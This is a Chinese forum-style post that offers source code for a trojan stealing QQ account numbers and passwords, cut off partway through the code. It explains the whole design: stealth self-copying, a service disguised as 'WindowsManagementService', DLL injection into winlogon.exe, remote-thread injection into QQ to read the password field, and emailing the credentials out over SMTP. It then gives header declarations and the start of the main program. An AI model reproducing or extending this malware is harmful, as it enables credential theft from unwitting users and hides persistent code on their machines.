QQ程序源代码

如何判断系统如何操作注册表如何通过控制自己的进程得到其他进程的内容如何复制文件如何插入进程[也叫进程注射，好像这么叫]如何通过SMTP法送邮件针对QQ1230及2003版的木马程序源代码，兼容win98，2000，不显示进程。首先请大家不要骂我，我早已对QQ不感兴趣，不过好久没有听说新的盗QQ号的程序，还是觉得有点奇怪，问了几个人，听说新版的QQ增加了防盗的功能，就来了一点兴趣，花了点时间，写了这么一个偷号的程序，但是只用自己的号测试过，可从来没动过别人的！仅供初学者参考，让高手见笑了。这个程序支持QQ1230可QQ2003版本，系统平台我在Win98，2000和2003上测试都没有问题，其他的系统没有测试过，不知道行不行。到网上随便找了一点资料，都很旧了，除了用键盘记录的，就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容的，这个在98下很好办，不过我不知道什么时候在哪里好像看过在nt平台下是不行的，一个进程向另外一个进程的带有密码属性的窗口发送WM_GETTEXT消息是不能得到其内容的，只有自身进程发送的WM_GETTEXT消息才行。但是这也好办，我们把得到密码的函数作为一个线程插入到QQ进程里面不就行了么！远程线程插入在Shotgun的大作《揭开木马的神秘面纱（四）》和《Windows核心编程》的第22章都有详细的叙述。下面就详细说明一下流程。首先，判断系统版本，如果就9x，将自己复制到系统目录，如果复制成功，说明自身没有在系统目录运行那么需要启动系统目录下的实例，然后自己退出。再创建一个互斥量，保证只有一个实例存在。接下来，用RegisterServiceProcess函数将自己注册成一个服务程序，这样在9x下按ctrl＋alt＋del就不会看到了。最后，调用GetQQPass函数，监视QQ登录的情况。如果是NT系统，将自己安装为自动启动的系统服务，服务启动后，任务就是释放两个要插入其他进程的dll，把监视QQ登录窗口的dll插入到winlogon.exe进程中，然后就停止，这样就不会在任务管理器里面看到不正常的进程了。插入到winlogon.exe里面的线程负责监视是否有QQ登录，发现后就将GetQQPass函数作为一个线程插入到QQ进程中，当GetQQPass函数捕获到号码和密码时，就向设置好的邮箱发一封信。至于为什么要插入到winlogon.exe进程，只是习惯而已，当然，也可以插入到其他的系统进程里，但是注意一定要插入到系统进程，不能是用户进程。因为只有系统进程里的线程才能在任何用户登录的情况下都有权限做远程线程插入的动作。GetQQPass函数我使用很简单的办法，就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容。判断哪个窗口是号码窗口和密码窗口的办法也是最常用的，就是靠它们的style。首先用QQ登录窗口的类名得到QQ的登录窗口的句柄，再通过这个句柄找到号码窗口和密码窗口的句柄。类名和子窗口的style都是用spy++得到的。这里有一个细节，就是“QQ注册向导”窗口里面，选中“使用已有的QQ号码”以后和选中以前的号码与密码窗口的style是不一样的，当然我们要选中以后的style了。发邮件部分也很简陋，现在只在163和sina的测试过，还能用。其中base64编码部分的代码是以前从网上copy的，忘了从哪里看的了，总之感谢这段代码的作者。现在还有一个非常严重的bug，就是在nt平台上，不能得到非管理员用户的QQ号码和密码，我观察过，明明已经将GetQQPass插入到QQ进程里了，但是就是不能得到密码，郁闷，哪位知道怎么回事，请不吝指教。下面是源代码：//这个是包含要用到的函数和结构的说明的头文件/*---------------------------------------------------------------------//GQPSvr.h//Coder:sjdf//E-mail:[e-mail]//Createdate:2003.10.6//Lastmodifydate:2003.10.7---------------------------------------------------------------------*/#includewindows.h//---------------------------------------------------------------------//判断系统版本，9x返回1，NT、2000、xp、2003返回2，其它返回0intGetOsVer(void);//---------------------------------------------------------------------//复制自身到系统目录//pAim:[in,out],初始为存放目标文件名缓冲区的指针，//函数向缓冲区返回完整路径的目标文件名//成功返回0，否则返回非0intCopySelfToSys(char*pAim);//---------------------------------------------------------------------//加入注册表自启动项，KeyName为键名，Key＆#118alue为键值voidRegStart(constchar*KeyName,constchar*Key＆#118alue);//---------------------------------------------------------------------//为当前进程增加指定的特权，Name为特权名，成功返回0，失败返回1intAddPrivilege(constchar*Name);//---------------------------------------------------------------------//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里//成功返回0，失败返回1intInjectDll(constchar*FullName,constDWORDPid);/*---------------------------------------------------------------------功能：得到进程名对应的Pid要求：win2000以上系统，链接时需要psapi.lib返回值：未找到则返回0，否则返回第一个符合条件的pid说明：因为可能有相同进程名的多个实例存在，所以将所有符合条件的进程的pid依次存放在aPid数组里aPid的值可以为NULL，如果aPid为NULL，函数找到第一个符合条件的pid后立即返回---------------------------------------------------------------------*/DWORDProcessToPID(constchar*ProcessName,DWORDaPid[1024]);//---------------------------------------------------------------------//通过需要身份验证的smtp服务器发送邮件的函数typedefstruct_SMTPINFO{charSmtpSrvName[32];charPort[7];charUserName[16];charPassword[16];charFrom[32];charTo[32];charSubject[32];charMsg[64];}SMTPINFO;intSendMail(constSMTPINFO*psmtpinfo);/*---------------------------------------------------------------------递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口，返回和lstyle样式相同的窗口句柄，如果没有找到，返回NULL---------------------------------------------------------------------*/HWNDGetStyleWindow(HWNDhFatherWindow,constlonglstyle);//---------------------------------------------------------------------//得到QQ密码的函数DWORDWINAPIGetQQPass(void);//---------------------------------------------------------------------//主程序/*---------------------------------------------------------------------//GQPSvr.c//Coder:sjdf//E-mail:[e-mail]//Createdate:2003.10.6//Lastmodifydate:2003.10.9//Compiler:LCC3.8//Testplatform:Win2000AdvServer+sp4---------------------------------------------------------------------*/#includeGQPSvr.h#includeGQP_Data.h#includePlus_Data.h#includestdio.h#includewindows.h#includewinsvc.h//---------------------------------------------------------------------//Globalconstant//服务显示名称constcharDISPLAYNAME[33]=WindowsManagementService;//复制到系统的文件名constcharSRVFILENAME[13]=Winms.exe;//要插入的进程名constcharDESTPROC[19]=winlogon.exe;//互斥量constchar*pchMyMutex=sjdf^-^;//dll文件名constchar*GQP_Dll_Name=\\nt_gqp_dll.dll;constchar*Plus_Dll_Name=\\nt_plus_dll.dll;//9x下写入注册表自启动项的键名constchar*pchStartName=GQP;//---------------------------------------------------------------------//GlabalvariableconstcharSERVICENAME[9]=winms;SERVICE_STATUSMyServiceStatus;SERVICE_STATUS_HANDLEMyServiceStatusHandle;charachAim[MAX_PATH+1];intWillStop=0;//---------------------------------------------------------------------//FunctiondeclarationvoidMyServiceStart(intargc,char*argv[]);voidMyServiceCtrlHandler(DWORDopcode);DWORDMyWrokThread(void);//---------------------------------------------------------------------//FunctiondefinitionintAPIENTRYWin